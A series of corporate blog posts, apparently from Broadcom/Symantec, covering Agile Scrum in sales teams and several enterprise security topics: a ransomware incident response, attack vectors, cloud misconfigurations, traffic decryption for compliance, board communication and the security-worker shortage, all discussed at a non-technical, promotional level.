For those unfamiliar with the terminology, I’m talking about a project management philosophy. Agile and Scrum are often thought to be one and the same, but they’re not. Agile is a set of principles while Scrum is a framework for getting work done.
Simply put, Agile features an iterative approach towards the completion of a project; in other words, it’s more of a guide for how to think about project work. But Scrum gets into the real nitty-gritty specifics involved in the actual managing of a project.
The turn to Agile Scrum is particularly useful if you work in an organization that’s built upon a hierarchy – which is the way it usually works in most enterprise organizations. For instance, I run a billion-dollar business with 200-plus people in every country we do business in. Yet most of us have never met in-person because of COVID or because we're so far away and collaborating across time zones.
My own belief is that it shouldn’t matter where someone works. It's how we work that's important. You can be sitting next to somebody in a cubicle and yet never speak to each other. So, over the last nine months, we’ve successfully moved the sales organization to an Agile Scrum footing, allowing members of our sales teams to collaborate more closely than ever, despite being separated by distance or geography.
Thanks to Agile Scrum, I’ve now got team members speaking with each other for at least 15 minutes every day. For many, they say this is the first time that they’ve felt like a cohesive team – and this from employees working in various geographies all around the world.
The 3 C’s
Before implementing Agile Scrum throughout the sales organization, we set three goals. I like to call them “the 3 C’s.”
The first “C” refers to curation. We had to find a way of consolidating all the data on our people's devices and figure out the best way to store data. That’s crucial because our people aren't working solely in the office anymore; most are still on their laptops, working from home. So, it was key that we improve, capture, and store all this data so that they can easily access this vast reservoir of information.
The second “C” refers to collaboration. We invested a lot of thought and effort around improving the collaboration process and ways to get people talking and working together. That meant building on virtual tools like G Suite and Slack so that it didn’t matter if one member of a team worked in New York while her colleague was in Mumbai. We have a channel for every account and every Slack channel is open. So, there’s the virtual meeting group for the wider organization to access. That gives them the necessary tools to stay in real-time contact, no matter the location.
Cadence was our third “C.” Simply put, we focused on the cadence of how to operate in a bid to step up our pace.
You frequently find inertia in big organizations because once the vision gets set at the top, there's often no correlation with what people are doing in their day-to-day jobs.
All this fed into our adoption of an Agile Scrum approach to improve the efficiency of our sales teams by doing regular reviews to check their progress against goals. As a manager, that also proved a huge help. In a sales organization, you normally have a QBR, which is by default, quarterly. I'm now getting an update every month on my team’s progress – which I think is three times better than a quarterly QBR.
Team Personified
Now they understand more about what we're doing and the things we're up to. This is another reason why Agile Scrum is so successful; it immediately builds a team.
The team members are all accountable for the tasks. Everybody must have a very clear understanding of what they are expected to do. It's written down and shared everywhere. And it produces this level of empowerment within the teams because everybody is actually talking. It’s not Tom Thorpe coming in and telling them what to do. Their team is actually doing the work that they're being asked to do and making sure through consensus and pressure that they get it done.
One of my account directors in Stockholm said to me, "As part of the sprint reviews I was asked to attend their Scrum; it's the first time I met my partner team since I've joined Broadcom Software Group."
By participating in a team where there is a cadence of daily stand-ups for 15 minutes, either over WebEx or the Slack channel, she no longer felt isolated in Sweden doing her thing. She now belonged.
The Bigger Picture
Any enterprise business can do the same. It starts with a three-year horizon. If we’re talking about 2025, define the outcomes you want to meet. Then ask what’s needed for next fiscal year to support that journey toward 2024. At Broadcom Software, we have a quarterly canvas and set monthly goals that support the quarterly. And we have two-week sprint tasks that support the monthlies. Net-net, I can track literally down to the individual task and check how that supports the overall three-year vision of the company. I'm not sure many organizations have that level of transparency.
People across the organization now understand the value of being able either to access or participate in Scrum stand-ups to gain an understanding of what's going on in the organization. At the same time, they don't need to wait for that because they can get onto the channels in Slack and see for themselves.
What’s more, we’ve published a number of documents with standardized tasks and goals, ranging from the three-year horizon all the way down to the two-week sprint task so that anyone can review them. That makes for complete transparency within the organization.
We've also been able to use Scrums and Agile to actually bring the customer and our product management teams together in order to change products or create new features in a product designed specifically for one of our strategic accounts.
So, instead of being dependent on a generic product roadmap, our product management team and our developers are now able to come up with a viable product and iterate on that within four to eight weeks.
Until now, you’ve seen startups do something like that, but not established software brands like Broadcom Software. I think that's pretty cool.
Agile and Scrum are about iteration and constantly improving and developing.
And it loops back to the idea of accountability that Agile Scrum embraces. Top management, like me, doesn’t become the impediment in the process any longer. Someone now has the freedom to run the business where they’re ultimately accountable and given both the authority and the autonomy to drive the operation their way.
In our largest account, for instance, our account director also becomes the product manager. Our customer success manager, who is the person really accountable for the delivery work, is our Scrum Master. And then the Scrum is made up of other people, either dedicated from Broadcom Software Group or from the customer.
It makes perfect sense for my organization to operate as a Scrum and Agile. We’re now able to bring together the customer and our business units with our software developers to actually make sure that the customer gets that end-to-end Agile experience.
Agile and Scrum are about iteration and constantly improving and developing. And in the relatively short time since we’ve adopted them for our sales teams, the results have been nothing short of exceptional.
Contact us here to find out more about our software to help you find the same results in your business.
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How AI and Machine Learning Drive Cyber Security in Fintech
Fintechs are rich, vulnerable targets for hostile actors. Here’s how we’re pioneering new technologies to stop threats at their outset
Given the light-speed advancement of AI-assisted applications for consumers, it’s understandable that companies in the growing Financial Technology space are anxious to deploy faster and smarter machine-learning tools to deter cyber crime. Fintech attracted a record $112 billion in investments in 2018 as executives pursued their industry-equivalent to a driverless car: smart, intelligent systems that make life and business better. In Fintech, as in transportation, safety is tantamount. And Fintech security hinges on big data analytics and machine learning that are perhaps even more challenging than an autopilot that avoids a crash in a freeway pileup.
As a subset of the financial services sector, Fintechs are rich, vulnerable targets for hostile actors. Companies require a multilayered arsenal of defenses to keep their information secret and safe. By one estimate, financial businesses fall prey to cyber security attacks 300 times more often than those in other industries. Last year the World Economic Forum cited Fintech concerns in particular, declaring cyber security “the number-one threat to the financial services industry and its infrastructure.”
It's a battleground, and Symantec’s Center for Advanced is leading the defensive charge. We’re translating the latest AI and machine learning breakthroughs into powerful product advantages. As we noted in a 2016 blog that accompanied the launch of Symantec Endpoint Protection 14, Symantec offers the most advanced machine learning available for endpoint security based on advanced feature engineering and ensembling. SEP is ranked highest for execution in Gartner’s 2018 Magic Quadrant. Symantec’s Managed Endpoint Detection and Response Service beefs up SEP and extends clients’ in-house skillsets with world-class dedicated experts who specialize in hunting and investigating early indicators of threats, whether the danger is unfolding on-site or in the cloud.
Another market-leading product in this lineup—one that’s used extensively by financial services—is Symantec’s Data Loss Prevention. It deploys AI machine learning techniques to rapidly scan and score data in motion, including email and text messages, documents and associated attachments. When clients deploy and enforce strong internal policies for proper data management, our broad DLP offering enables strict controls and restriction of non-compliant data transfers, including exfiltration of proprietary and trade secrets, PII data and customer records.
Last year the World Economic Forum cited Fintech concerns in particular, declaring cyber security “the number-one threat to the financial services industry and its infrastructure.”
Of course, great AI requires great data. Our models swiftly analyze one of the world’s largest non-governmental collections of multifactor telemetry to identify potential threats and unusual behavioral patterns. On any given day, we ingest more than 2 petabytes of data, generated from billions of files and messages, and trillions of network connections. Designed to operate at scale, SEP alone tracks threat and attack data across 175 million endpoints and monitors 57 million attack sensors in real time, minute-by-minute.
Globally, businesses are in the midst of a Cambrian explosion of AI for convenient consumer technologies, but even the most popular consumer platforms are prone to bugs and fail rates that neither the financial services sector nor the cyber security industry can tolerate. In cyber security, we can’t afford to have a single point of failure. We’re also in a constant race against bad actors, and continually fine-tuning products in response to emerging threats.
That said, machine learning in cyber security is evolving. It’s now possible to build a product, and, as the threat landscape changes, add defenses incrementally, without having to tear it down and rebuild it. At Symantec, we’re also accruing proprietary techniques for combining predictions across multiple models, in some cases enabling machines to arrive at the correct prediction even before the developers.
Ultimately, beyond increasing our velocity in defense response and remediation, we should aspire to an epidemiological view. Long-term, through advanced machine learning, we can halt threats at their onset, and even, possibly, inoculate against them.
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How a Rapid Response Helped Thwart an Active Ransomware Attack
A ransomware attack reminded me of very valuable lessons that every organization needs to incorporate into its security DNA
Early this year, when an executive at a hospital called our Incident Response (IR) team, he had yet to realize that his organization was confronting an active ransomware attack. Symantec Endpoint Protection (SEP) and his internal team had flagged as suspicious some data that was marked with a four-letter file name, he explained, and multiple attempts to scrub it had failed.
He told me the file name and my heart sank. Less than a week earlier, I’d seen a half-dozen companies in different industries fall victim to ransomware files consisting of the same four letters. In this instance, however—and in large part because the executive reached out to our incident response team right away—we succeeded in thwarting the attack while it was underway.
I advised a temporary Internet shutdown and deployed Symantec’s cloud-based, AI-enhanced Symantec Endpoint Protection 15, which quickly and easily located the threat actors’ command and control servers. They were unknown ransomware actors, operating out of South America, and we had them roped off before they could access or encrypt any of the hospital’s files or backups. Had the executive hesitated in alerting us, the consequences for his company might have been devastating, especially considering that ransomware is considered a HIPAA violation and companies are fined heavily for such violations.
Indeed, even after our team had tested and rolled out a new endpoint protection system for the hospital, compliance with HIPAA required its lawyers to run full-disk forensics on dozens of hospital workstations, consuming essentially 9 months of work. Such inconveniences aside, for the hospital preventing the ransomware infection was much preferable to having to recover from one. I know of a similarly situated company that failed to survive an undeterred cyber attack.
It’s been close to three months since this incident played out, and as I reflect on it now, I’m struck by how well it proves three of Symantec’s best practices for cyber security, all familiar refrains that nonetheless bear repeating:
Have a detailed incident response plan and be proactive in testing it.
Less than two weeks before the attempted ransomware attack, the hospital had drilled through its incident response plan in a tabletop exercise. I’m confident that explains in part why the executive I dealt with was both swift and fluent in responding to the threat.
Also, ensure that your business has multiple hard copies of your response plan on hand, as well as updated backups of all data, stored offline.
Invest in best-of-breed defense tools.
As clients of Symantec’s industry leading Managed Security Services, the hospital and its parent benefited from the seamless engagement of both a threat-monitoring team and incident response team. As Symantec observed in its 2019 Internet Threat Security Report, fragmented tools no longer suffice, and integrated platforms are the future.
Granted, unlike commonly distributed software designed to detect cyber vulnerabilities, our suite of supported products and services isn’t free, but this case study illustrates the tremendous value enterprises gain when they partner with us. In my five years as a Symantec lead incident responder, I’ve seen countless other examples of how the protections we afford our clients far exceed the costs.
When the alarm bells start ringing, don’t be afraid to call for help.
Given that cyber crime is highly stigmatized (and ransomware especially so), it’s perfectly understandable that brand-conscious businesses often downplay their exposure to online intrusions. But in 20-plus years in the security sector, I’ve learned it’s always better to be safe than sorry.
A seasoned incident responder will have neither time nor interest in criticizing your business for falling victim to an attack. Our job is to talk you through the situation, fend off the attack, and support you in getting the business back on track.
A final note here on trends we’re seeing in ransomware: Up until 2017, consumers were the hardest hit, but the balance has since tipped toward businesses. According to our most recent ISTR, “in 2018, that shift accelerated, and enterprises accounted for 81 percent of all ransomware infections.”
In response, Symantec has achieved improved efficiencies in blocking ransomware infections, both through enhanced email protections and behavioral analysis and machine learning tools. These are substantial advances, some of which I deployed in thwarting the threat against the hospital. It’s a genuine success story, and one that proves the value of reaching out to Incident Response teams like ours early on.
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How Attackers Gain Access to Your Networks
Symantec helps you defend the perimeter for you and your customers
Stopping attackers from getting into an organization is always preferable to catching them once they are inside. It goes without saying the prevention is better than detection. Effective prevention requires an understanding of how attackers attempt to get inside. But attack vectors rise and fall in popularity. Understanding current trends is critical.
The question of how attackers gain access to organizations’ networks is one every victim of a cyber attack wants answered. However, it can often be difficult to determine how exactly an attacker gains initial access to compromised networks. Symantec, as a division of Broadcom Software, continues to actively monitor the infection vectors attackers are using to keep our customers’ organizations and networks safe. Recent finding have been published in a new white paper.
Some of the main findings in this paper include:
The exploitation of vulnerabilities in public-facing applications was a popular attack vector during the last 18 months. While zero-day vulnerabilities, most notably the Microsoft Exchange Server bugs, were still being used by attackers, it was mostly known vulnerabilities that attackers were attempting to exploit. Even though these bugs had patches available they may not have been patched quickly enough to avoid an attack. Evidence indicates that attackers start exploiting vulnerabilities as soon as they become public knowledge.
Botnets have become a key threat distributor for ransomware gangs in recent times, with major botnets like Trickbot, Dridex, and IcedID now all associated with ransomware campaigns. However, other botnets are also still actively distributing crypto mining malware and are being used to carry out distributed-denial-of- service (DDoS) attacks, and the threats posed by these kinds of botnets should not be forgotten in the recent increased focus on ransomware.
The use of exploit kits by cyber criminals appears to be declining, with one exploit kit, RIG, dominating the landscape over the last 18 months, according to Symantec’s data. However, just because exploit kits appear to have dipped in popularity among cyber criminals recently doesn’t mean they won’t make a comeback, and they are still a vector that organizations need to be aware of and guard against.
Email remains a consistently popular attack vector. Social engineering is a key component of many of the scams carried out via email, particularly business email compromise (BEC) scams, which remain one of the most costly scams on the cyber-crime landscape. We also saw examples of malicious actors incorporating social media into email scams - making initial contact on a platform such as LinkedIn or Twitter to ultimately deliver a threat to a target via email. Targeted ransomware actors also use email as a delivery method.
The COVID-19 pandemic also had an impact over the last 18 months, and was used as a lure in many phishing campaigns.
Looking to the future, one new threat that could have an impact over the coming years is “the corporate insider.” Some ransomware gangs have advertised for insiders who may be willing to work with them to give them access to a corporate network they have access to, with these gangs offering significant rewards to those willing to cooperate with them. While a targeted ransomware attack involving an insider is not something we have seen yet, the fact that ransomware gangs are publicly pursuing this kind of tactic means it is something organizations and defenders need to be aware of.
For more information, read the new whitepaper here.
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How Banking LoB and Cyber Security Teams Can Get on the Same Page
A Five-Step Approach to Profit Safely in the New Competitive Landscape
Across the Asia Pacific region, banks are relentlessly pushing digital boundaries. From Open Banking to new virtual banks to biometric-enabled transactions, the banking industry has never seen such intense competition and opportunity.
Unfortunately, the industry has also not seen such widespread misconceptions about cyber security.
Consider a new survey from Symantec and IDC of 120 banking customers in Asia, Hong Kong, India and Singapore. Some 83% of IT and cyber security executives consider their banks “far from agile.” However, only 43% of Line of Business (LoB) executives share this sentiment.
As cyber security lags behind the LoBs, they could face a massive crunch where they need to spend money they hadn’t anticipated to keep customer data secure.
This disconnect could have significant consequences as banks look to generate revenue from new data-sharing initiatives and from customers using emerging digital channels. As cyber security lags behind the LoBs, they could face a massive crunch where they need to spend money they hadn’t anticipated to keep customer data secure. Even more concerning, new banking systems – and thus the bank’s reputation – could be at risk because security was not built into the design of the systems.
This complex environment requires cyber security to embrace five key elements.
ALIGN: Understand the needs of the LoB, and align priorities across your organization.
Today, cyber security does not support the requirements for speed to market, availability and scalability. In part, this is because the business side does not include cyber security in their plans from the earliest stages. Banks must embrace a SecDevsOp approach, where security needs are a prime element in the integration of development, production and operations. Currently, though, only 26% of APAC banks do.
Forward-looking banks are using Chief Digital Officers (CDOs) – a title that was uncommon just 12 months ago. Security and IT teams are reporting jointly to CDOs, working together to move the business forward in a secure way. IT and security at these banks are presenting jointly at board meetings, allowing them to interact in synchrony with the business side without creating a huge amount of overhead. The new mantra of every cyber security group should be understanding and alignment.
HOLISTIC: Build a holistic data strategy as a foundation to achieve business priorities.
A holistic strategy requires having deeper conversations about how technology will interact with the customer and the business, rather than just focusing on how to secure specific applications. However, less than one-third of banks in our survey had a holistic approach to ensuring enterprise-wide cyber security awareness.
These banks risk falling behind innovative competitors. For example, some banks are building startup-like organizations for digital initiatives, rather than attempting to transform their traditional brick-and-mortar operations. In that way, the digital startup acts as a security test bed. New digital processes can be vetted, and the best ones retained, before they interact with core legacy systems. If the startup fails, the existing brand is more protected.
PLUG GAPS: Close technology gaps to accelerate digital transformation and gain speed to market.
Banks want software applications and interfaces into their customers to generate revenue more quickly. However, the Symantec/IDC survey indicated only 6% of banks are ready to embrace the cloud – a fundamental tool in achieving speed-to-market.
Understandably, cyber security teams are concerned about the stringent data-security regulations in the different countries in which they operate. However, their resistance comes at a time when the LOBs across the Asia Pacific region are lobbying for more regulatory freedom for the benefit of customers. IT and security must close these gaps if they don’t want to risk being left behind.
SECURITY FIRST: Incorporate cyber security into new initiatives and opportunities like Open Banking that extend beyond today.
Cyber security teams cannot focus on simply securing data, but need to understand what the LoBs intend to do with that data. For example, in Australia, the four big banks are being required to make banking data available to consumers, fundamentally changing the nature of financial services.
By the end of 2020, Open Banking will enable banks to create new products and services with their growing network of trusted third partners. As such opportunities bring new rewards and new risks, security must become a fundamental principle from the get-go of any initiative.
OPPORTUNITY: Show that importance of cyber security is not only for IT but across the organization.
Gaining and maintaining customer trust is central to Open Banking success. However, Open Banking is only one of the many fronts that are changing the nature of cyber security in the banking industry. Europe’s Global Data Protection Regulation (GDPR) has raised the standards for proper data management and data security.
Despite the growing emphasis around data security, only 31% of banks make the entire enterprise aware of the true nature of risks they are taking in the digital world. Banks need to appreciate that cyber security is core to their industry reputation and brand value during this transformation period.
It’s an exciting journey, but a challenging one. However, you don’t need to go alone. Contact Symantec to find out how we can help with your cloud and digital transformation journey.
Download the full IDC/ Symantec Research Findings HERE
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How Best to Communicate with Your Board of Directors on Your Company’s Security Posture
With the dramatically changing IT landscape, protecting employees, customers, partners and their data is now much more complex. Here is what you need to know.
In the not too distant past, companies were able to secure their IT environments in a controlled way—apps were on premise, networks were finite, data centers were owned and managed internally, PCs were stationary and employees relied on their desk phones.
How dramatically the IT landscape has changed! Protecting employees, customers, partners and their data is now much more complex. With public cloud infrastructure managed by third parties, a higher percentage of SaaS applications deployed, Wi-Fi, mobile devices, and connectivity to an entire eco-system, security is significantly more challenging today. And so, while the fundamental job of the CISO or CIO is the same—securing the organization—how we go about it is very different with the emergence of the Internet of Things, mobility and the cloud.
All of this is occurring at a time when data breaches are at an all-time high. Hackers have become quite sophisticated, employing the latest technical advances, including artificial intelligence and machine learning to breach a network, finding the weakest points of resistance. They can attack a company in many ways, stay longer, and are more targeted.
According to Symantec’s latest Internet Security Threat Report, one in 131 emails contained a malicious link or attachment—the highest rate in five years. The size of ransoms spiked 266%, and CIOs have lost track of how many cloud apps are used inside their companies (when asked, most will say up to 40 when the number nears 1,000—Symantec’s CASB project can help with full visibility of non-sanctioned IT cloud applications).
In short, there is plenty to keep CIOs and CISOs awake at night. The question `Are we secure?’ does not have an easy answer. Even if you employ the best security and IT teams available, and have security applications in place throughout the entire IT architecture stack, security flaws can occur—witness the latest Meltdown and Spectre flaws in Intel microprocessors inside nearly all of the world’s computers. These two flaws could allow hackers to steal the entire memory contents of computers and spur the discovery of new attacks.
When I’m asked why I’m concerned about what’s lurking over the security horizon, I use my house analogy: for most of us our homes always need some repair. It’s never-ending, right? The gutters are broken, bathrooms need caulking, and with the latest unpredictability of weather there are now floods from time to time. But what if we get hit with a tsunami-force storm and rains come down at 900 pounds per second hitting every angle of the house? Nobody can predict with a high degree of accuracy which 10 areas the water will seep through. Maybe we can predict the three or four, at best. The rest is a roll of the dice.
The same could be true for an organization. The CISO will know what is secured and what needs a bit more work. But when those aggressive attackers attack it is often difficult to predict exactly what part of the entire architecture it will affect.
Bridging the board gap
All of which makes it vital that the board of directors and company experts with the responsibility for the organization’s cyber security are aligned.
Easier said than done. For years, there’s been a disconnect between the way that boards assess cyber threats, costs, areas of responsibilities, and the experience of the IT specialists tasked with managing security. So why is it so hard for security executives to convey that sense of urgency and enormity to their board?
Here are a few thoughts.
Any security discussion needs to involve two components. First, the conversation should be as important to the board as the financial health of the company. Boards spend between 60% and 70% of their meetings analyzing financial results. Similarly, security should be among the top issues that the board discusses at every single meeting. It’s not a one-and-done discussion. It's just as important as a business’s financial health: security is always changing and should be part of the overall risk discussion.
At the same time, CSOs and CIOs have a responsibility to present a clear and crisp security overview to ensure the company’s security posture is easily understandable to boards. Part of this role is educational—generally speaking, boards don’t have security expertise and don’t know what questions to ask. CISOs/CIOs must paint the big picture—show how security looks from an architectural standpoint. All too often, the board receives a security briefing they can’t understand, weighed down with technical jargon that is poorly presented. The result is board frustration and confusion, obscuring a company’s security strategy and execution.
If we communicate well, we’ll answer four basic key questions:
What are the risks?
Where are we secure?
Where are our weaknesses?
Where do we need to invest?
This can all be obtained via an architectural view in which the board can easily visualize “security” across the entire landscape form infrastructure to endpoints.
It then becomes more of a risk discussion and returns the topic to more familiar terrain. We can help by providing a risk scorecard so the board understands the overall security posture, highlighting strengths and weaknesses. At that point, management can more easily grasp where security needs to improve and where investment may be needed.
When I see people doing this right, regular Board review material is provided to confirm status that the main cyber threats for the company have been identified and sized, there is an action plan to improve defenses and respond to these threats and preparations have been made to respond to a successful attack. However, if you suffer a material security breach, it could harm—at a minimum—your company’s brand and reputation. In the worst-case scenario—as we’ve seen with many Fortune 500 companies—a security breach could significantly damage your business. Arming your board with the right information can ensure they can support security professionals’ goals to protect against today’s often unpredictable security threats.
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How Centralized Decryption Can Help Meet Compliance Requirements
Decryption, privacy and meeting compliance regulations
One of the needed byproducts of a digitally transformed society in recent years, has been increased attention for the privacy rights of individuals. Examples of this can be found in the implementation of the General Data Protection Regulation (GDPR) in Europe, and the California Consumer Protection Act (CCPA) in the United States, both of which are designed to give individuals more control over the collection and use of their personal information online.
However, cyber criminals and other bad actors have never been stopped by legislation. And in many cases, encryption remains open to exploitation by attackers and hackers who are determined to wreak havoc on corporate networks, and people’s private information and data. As such, companies should consider decryption and inspection as a means of improving network security and privacy compliance. If implemented properly and supported by specific policies and safeguards, decryption can play a key role in improving a business’ security and protecting individuals’ sensitive data.
How attackers commonly use encrypted traffic
An encrypted attack in three simple steps:
Malware delivery. Attackers will use encryption to send malware via encrypted connections as part of phishing or other attacks. Network security tools will largely be blind to the encrypted session.
Command and control traffic. When a machine is compromised, the command and control traffic that attackers use to escalate privileges and move laterally within the network is typically encrypted to obscure the attacker’s actions.
Data exfiltration. After an attacker gains access to sensitive business data, the attacker will then exfiltrate the information via encrypted channels and prevent data loss prevention solutions from detecting the data leakage.
Concerns about decrypting traffic
Many organizations have largely resisted embracing decryption on a wide scale for a number of reasons. Some are willing to selectively decrypt a few categories of traffic with the highest risk (e.g. gambling, pornography) but are otherwise worried about exposing sensitive user information. Others are worried about the performance impact of decryption and that doing it would be too costly. Still others believe that not much traffic is encrypted or a solution can’t fit their environment. While Encrypted Traffic Management technologies have been around for a while, the market still lacks an understanding of how to prevent encrypted threats in a cost-effective, low-latency and privacy-compliant way.
The regulatory environment adds complexity
Non-compliance can result in a laundry list of issues and headaches for any large organization. Some of those matters are likely already known, while others might not be so obvious. Among the problems that could arise from non-compliance are:
Potential legal action as a result of compliance failure
Potential data loss/damages/public releases
Fines/penalties related to compliance failures
The impact on public perception/reputation
Loss of business revenue
Loss of accreditation/certification that impacts potential sales opportunities
Internal problems/decrease productivity
When it comes to implementing decryption, a decision should be made following a detailed assessment of why it is justified, how it is risk-balanced and what safeguards the organization will implement in order to minimize intrusiveness and limit users’ privacy risks. Because of its significance in modern privacy law, and because many other regulatory standards have borrowed from it, the EU GDPR is a great reference point for establishing decryption guidelines and policies. As such, Symantec recommends the following steps should be taken when decryption plans are on the table:
Involve the right teams and gain consensus across the organization
Create detailed, documented policies for the collection of decrypted data
Establish stringent controls for the management of decrypted data
Maintain transparency through clear and specific communications
Protecting an organization’s users, infrastructure and data from a cyber attack is a difficult task. A centralized approach to decryption solutions can help organizations selectively decrypt and inspect network traffic and maintain compliance with GDPR and other privacy regulations. Privacy and security is more relevant than ever given the increasingly digital and interconnected nature of most people’s lives: whether at home, at work, or in public.
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How Cloud Computing Has Changed the CDM Strategy
As agencies move to the cloud, they need to consider technologies that can protect their data whether it is on-premise, in the cloud, or somewhere in between
When the Continuous Diagnostics and Mitigation (CDM) program was established in 2012, federal agencies were already in the early phases of adopting the White House’s pivotal “Cloud First” strategy.
As its name suggests, cloud first required federal agencies to determine if there was a cloud-based solution for any application or system they wanted to incorporate into their enterprise.
While the creators of CDM knew that cloud computing would be a consideration, they could not envision how the cloud would ultimately alter how government agencies store, deliver and consume information. Under cloud first, security was seen as a unique concern to cloud-related projects, rather than an integral part of an agency’s overall cyber security strategy.
That, of course, has changed. As federal agencies continue to turn to the cloud, they have discovered the cost, productivity, and strategic advantages that it offers. In doing so, however, agencies have fundamentally changed the way their information technology architectures operate.
Now, applications and platforms, even those that were once siloed, find themselves either living in the cloud or connected, in some way, to a cloud service. This paradigm shift alters how agencies must implement technologies and policies as they move forward with the CDM program.
A Shift in Technologies
With the cloud now a core part of federal architectures, technology improvements to meet the continuous monitoring and reporting goals of CDM must be done with that in mind. Before this shift, agencies could focus on their largely walled off networks.
Cloud and mobile have extended this network outside of the agency to wherever data resides. As a result, agencies must now ensure that their monitoring systems follow that data. Agencies need to consider end-to-end data loss prevention (DLP) technologies that can protect the data whether it is on-premise, in the cloud, or somewhere in between.
DLP ensures that the data remains secure, while also providing the network visibility required by CDM. With a cloud-focused DLP capability, agencies can:
Inspect content extracted from cloud application and web traffic, and automatically enforce data policies
Establish controls to un-share sensitive files, quarantine, and block them from leaving the application
Apply identity-based encryption and digital rights automatically to specific files shared with third parties
Provide accurate, real-time monitoring of email traffic by leveraging advanced detection capabilities that minimize false positives
Enable automated messaging blocking, or message modification to enforce downstream encryption or quarantining
And so much more…
Using an overall DLP approach not only helps meet the guidelines laid out in CDM, it serves as the preferred method of cyber defense in a cloud-connected world.
CDM was established long before the cloud became what the cloud is today. As such, federal agencies need to consider the implications of today’s environments. The overall goals of CDM are positive and fit in line with the top thinking around cyber security. As the cloud continues to become a bigger part of the technology ecosystem, federal agencies need to ensure they have the right security technologies in place to protect data at every stage.
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How Cloud Configuration Missteps Lead to Data Breaches
As businesses migrate to the cloud, they need to confront new security blind spots. Here's the solution
In April 2016, a hacker slipped into a server hosted on a large cloud platform, accessing a database of more than 154 million U.S. voter records. The hacker did not use a sophisticated or previously unknown attack to compromise the system, but merely took advantage of a misconfiguration error: the database had no password.
Such breaches are not unique. A fifth of all data leaks in 2016 were caused by a misconfiguration or other error - the second largest source of vulnerability. In 2018, human errors continue to contribute to an increase in attackers gaining administration access to cloud resources. Yet, rather than receiving ransom notes or losing sensitive data, victims have seen their public cloud bills increase as cryptojackers steal processing power to mine cryptocurrency.
While the cost of such lapses is unknown, the incidents would have required the company to clean up the intrusion and conduct compliance checks, in addition to the cost of the malicious workloads.
Surging Cloud Momentum
Yet, businesses are rushing to the cloud and show no signs of slowing down. A majority of companies have migrated some of their infrastructure to major cloud Infrastructure-as-a-Service (IaaS) providers, with 64 percent running workloads in Amazon Web Services (AWS) and another 45 percent running workloads in Microsoft Azure. And Google claims another 18 percent of companies.
All three cloud providers operate under a shared responsibility model, making it very clear that customers are ultimately responsible for securing data and access to their cloud infrastructure. The problem is that traditional security monitoring tools don’t take into consideration new cloud threats such as hackers spinning up compute resources for crypto-mining attacks – creating security blind spots for customers.
Cloud computing allows companies to be more agile by squeezing the inefficiencies out of the application development cycle such as procuring and provisioning containers on demand, rather than waiting for IT. However, as companies move fast to deliver new products to customers, security must move faster to keep up and with security threats. Cloud configuration errors can lead to critical hole in your cloud environment and present low hanging fruit for hackers.
Here are three ways that cloud infrastructure can be misconfigured.
1. Leaky storage buckets
Amazon Simple Storage Service (S3) buckets are a popular target for hackers and security researchers. Last year, more than 1.8 billion records of highly classified US military data were exposed because three S3 buckets were "configured to allow any AWS global authenticated user to browse and download the contents."
This is only the latest discovery of a leak caused by misconfigured buckets. This summer, another S3 bucket publicly exposed thousands of internal documents belonging to a large hosting provider.
As a security best practice, companies should check S3 access control lists (ACLs) to ensure buckets and objects are not publicly accessible, especially if they store sensitive data.
2. Open-source software vulnerabilities
The public cloud is a great place for companies to build out applications and services, and open-source software (OSS) has become a major component of such environments. Unfortunately, OSS comes with a great deal of technical maintenance debt—vulnerabilities need to be mitigated and sometimes default settings can leave customers exposed. Not servicing this debt can lead to breaches: A vulnerability in Apache Struts, a popular open-source software framework used to build web applications, led to a major breach of credit account information and default settings left unsecured instances of MongoDB, a widely used open source NoSQL database, open to compromise.
This is nothing new. Yet, when cloud platforms are left publicly accessible, you have savvy attackers scouring the public cloud IP space looking for easy-to-find mistakes. Last year, one security firm noticed a spike in scanning activity for exposed SSH private keys. Attackers realized that administrators were leaving keys in unprotected directories on public servers and began scanning for such files.
Companies need tools that automatically analyze the security configurations of their cloud environments to ensure that their resources are properly configured and are not vulnerable to hackers or exposed to the public.
3. Secrets leaked online as part of development
A third danger for corporate systems and data is when developers forget to sanitize configuration files before checking them in or out of an online repository or populating a publicly accessible test environment with real data.
Because the public cloud allows users to automate almost everything, many developers have mistakenly left access tokens, passwords, and secrets in publicly accessible repositories used to automate deployments and builds. Unfortunately, attackers have learned to scour these repositories looking for secrets that they can then use to spin up resources and mine cryptocurrency as fast as they can.
Simple things like Multi-Factor Authentication (MFA) or using services that store secrets can prevent this from happening, but with developers creating new accounts and turning on new services rapidly, companies are hard pressed to keep track of every change to configuration files.
These are only three of the ways that a simple misconfiguration can undermine the security of your cloud infrastructure.
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How Companies Compensate for the Security-Worker Shortfall
Organizations are turning to alternatives, ranging from training initiatives to employing fractional CISOs
When Adam Sypniewski needed to find someone to take the role of creating and managing the security and compliance program for speech-recognition startup Deepgram, he decided not to attempt to hire for the role.
With cyber security professionals in high demand—analysts estimate a worldwide shortage of about 2 million knowledgeable workers—he knew it would be expensive to bring in someone with the necessary skills. Instead, Sypniewski, the chief technology officer at Deepgram, contracted a fractional chief information security officer (CISO), a person who splits their time between companies, creating security programs, managing compliance, and helping to advise a firm’s other workers.
"My problem as CTO of DeepGram is not whether I can do it—I know how to do it, I know the resources I need, and I know how to direct my engineer to do it—but … the risk is that you don't have someone watching with two eyes all the time," Sypniewski said. "Other workers—namely myself—I can get distracted. I have to wear a lot of hats. So, when security is only one of them, and when I'm not wearing the security hat, it is hard to remember to do it all."
The booming demand for cyber security professionals is driving companies to be more creative in how they secure their systems.
Organizations continue to struggle staffing their security teams. A recent survey of 1,125 IT decision makers found that while 64 percent of companies identify a greater number of threats to their business, half of the firms lack the security talent to maintain the measures that they deemed necessary to protect their business. The result is that current cyber security personnel are overworked, with 72 percent of workers considering quitting because they lacked the resources to do their job.
The booming demand for cyber security professionals is driving companies to be more creative in how they secure their systems.
Each year, Enterprise Strategy Group asks companies if the shortage of cyber security workers is a problem for their business. The number reporting a problematic shortage has climbed every year, from 42 percent in 2016 to 53 percent in 2019, according to the analyst firm.
"No one has ever sounded the alarm that this is an emergency," Jon Oltsik, senior principal analyst at the Enterprise Strategy Group. "The government needs to come in with more grants and training programs. A lot of that is happening, but it is happening in pockets. We need more of a national effort.
Like Deepgram, many companies are adding a virtual CISO. Fractional CISOs are just one way that companies are dealing with the booming demand for cyber security professionals. About 10 percent of organizations employ a fractional or virtual CISO, a role that 29 percent of CISOs have adopted and that another half are considering, according to the Information System Security Association (ISSA).
"Almost half claim that working as a vCISO brings more variety and flexibility to a CISO position," the group stated. "CISOs are clearly seeking to avoid some of the politics and stress while taking more control of their careers."
A Long Road
